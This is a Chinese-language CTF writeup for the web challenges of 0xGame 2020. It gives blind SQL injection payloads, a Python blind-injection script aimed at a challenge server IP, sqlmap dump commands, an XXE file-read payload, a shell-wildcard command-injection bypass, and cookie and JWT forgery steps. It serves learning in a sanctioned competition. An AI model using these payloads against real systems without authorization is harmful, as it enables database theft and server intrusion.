0xGame2020部分writeup

发布于 2020-10-31  1536 次阅读


前言

第一次参加CTF比赛,能拿到新生第六已经非常满意了。感谢各位学长的辛勤付出,希望自己能进步得再快一点吧,今后也要继续加油!

web

intval

查看源码,发现要求传入的id不能被检测为1024但查询使用的时候必须为1024,看到intval函数,他会把其余类型值转化为整型,所以我们输入一个1024~1025之间的小数就能得到flag

close_eyes

我的方法为手注,费时费力,不过能更好理解数据库的结构。

1. 查询数据库中表的数量

admin' and (select count(table_name) from information_schema.tables where table_schema=database())=1#

得到肯定回答,说明只有一个表

2. 查询表的名字的长度

admin ' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4#  存在

说明表的名字长度为4

3. 查询表名

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# 存在

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# 存在

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110# 存在

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116# 存在

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117# 不存在

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117#  存在

第一个字母为u

同理,推断出其他的字母,得到表的名字为user

4. 猜测user表中每列的名字

  • 猜测user表每一列的长度

admin' and length(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1))=2# 成功
第一列列名长度为2

同理推断出其他列的长度,以此为2,8,8

  • 猜测列名进行验证

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>104# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>106# 不存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=105# 存在

说明第一个字母为i,然后依次得到每一列的名称为id,username,password

5.猜测每列中的内容

1' and ascii(substr((select password from users limit 0,1),1,1))> ……

通过这种方法能得到每列的内容。猜测flag藏在password的某一列中,查询password每列的第一个字母是否为0,查到第七列password的第一个字母为0,然后进行长度判断,最后试出每一个字母,得到flag

官方writeup

首先猜测SQL语句

select username from user where username='". $username ."' and password='". $password ."';

思路就是,(condition)为假的时候,(比如我用户名输入1’ or 1=0#或者乱输一个用户名密码),页面回显“数据库里没你这号人,别想骗劳资.jpg”
为真的时候(比如我输入1’ or 1=1#)页面回显“数据库有你这号人,那又怎么 着?”,根据回显情况的不同,我们就可以判断我们的condition究竟是真还是假。

原理和手注相同,也同样使用二分法盲注,下面是python脚本

#python3
#wh1sper
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
    return (int)(0.5*(top+bot))
def sqli():
    name =''
    for j in range(1,250):
        top =126
        bot =32
        while 1:
            babyselect= 'database()'#user
            #babyselect = '(select table_name from information_schema.tables wheretable_schema=database())'#user
            #babyselect = "(select group_concat(column_name) from information_schema.columns " \
            # "where table_schema=database() and table_name='user')"#id,username,password
            #babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
            data = {
                "password": "1",
                "username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
            }
            r = requests.post(url=host, data=data)
            #print(r.text)
            print(data)
            if '数据库有你这号人' in r.text:#子查询为真
                if top - 1 == bot:
                    name += chr(top)
                    print(name)
                    break
                bot = mid(bot, top)
            else:
                if top - 1 == bot:
                    name += chr(bot)
                    print(name)
                    break
                    top = mid(bot, top)
if __name__ == '__main__':
    sqli()

使用SQLmap工具注入

使用sqlmap能帮助我们节省大量的时间,这里给出这道题sqlmap的使用方法

用burp抓一下包,发现为post登录框,那么我们需要进行post注入,首先将抓的包导出

然后使用sqlmap进行列库

sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" --dbs

得到user这一个库,然后爆user库中的表名

sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user --tables

得到user这个表名,然后我们要爆出user表中的列名

sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user --columns --dump

然后爆出每一列的内容

可以让sqlmap自动把所有列的字段爆出来

sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user --columns --dump

也可以自己决定爆哪一列的内容

 sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user -C password --dump

inject_me

抓一下包,注意Content-Type的格式,存在xml漏洞,根据题目,flag的位置在/flag 构造payload

<?xml version="1.0"?>
<!DOCTYPE dy [
<!ENTITY dy SYSTEM "file:///flag">
]>
<user><username>&dy;</username><password>123</password></user>

一篇关于xxe的文章:https://xz.aliyun.com/t/3357

虚假留言板

发现随便输入账号密码就能进入,进去后提示这里没有flag,用burp抓一下包,发现一串cookie,
先用url解码,再用base64解码得到:{"username":"aaa","status":1}
将aaa改为admin,然后再用base64编码,url编码得到:eyJ1c2VybmFtZSI6ImFkbWluIiwic3RhdHVzIjoxfQ%3D%3D
将伪造的cookie放入brup中复现得到flag

???

F12把maxlenth改为大一点的数,然后删掉提交按钮的disable属性,输入 yulige 后提交,访问 sh3ll.php

<?php
error_reporting(0);
highlight_file(__FILE__);
//echo "flag is in fl4g_is_here.php";
$cmd = $_POST['cmd'];
if(preg_match("/[A-Za-ko-z0-9]+/", $cmd)){
    die("hacker!");
}
$blacklist = "~!@#%^$&\/*()()<>《》-_{}[]'/\":,";
    foreach(str_split($blacklist) as $char) {
        if(strchr($cmd, $char) !== false)
            die('Big Hacker!!');
    }
system($cmd);
?>

给出源码,发现 l m n ? . 还有空格没过滤,提示其实很明显了,题目????提示Linux通配符,lmn没过滤提示使用 nl 查看文件,搜索命令执行绕过都是可以搜索到的

payload:

POST: cmd=nl ????????????????

因为 < 的原因,CTRL+U或者F12查看源码即可

switch

使用kali恢复vim缓存的网址,得到源码的网址

第一个对id的过滤可以用2加字符绕过,第二个正则的过滤用大写字母绕过,得到一串base64编码,解码即为flag

jwt

抓包发现需要对jwt进行伪造登录admin账号,用jwtcracker暴力破解signature

得到密钥为njupt

http://jwt.io进行jwt伪造,再用burpsuit发送伪造的jwt得到flag


我不知将去何方,但我已在路上。
I do not know where to go, but I have been on the road.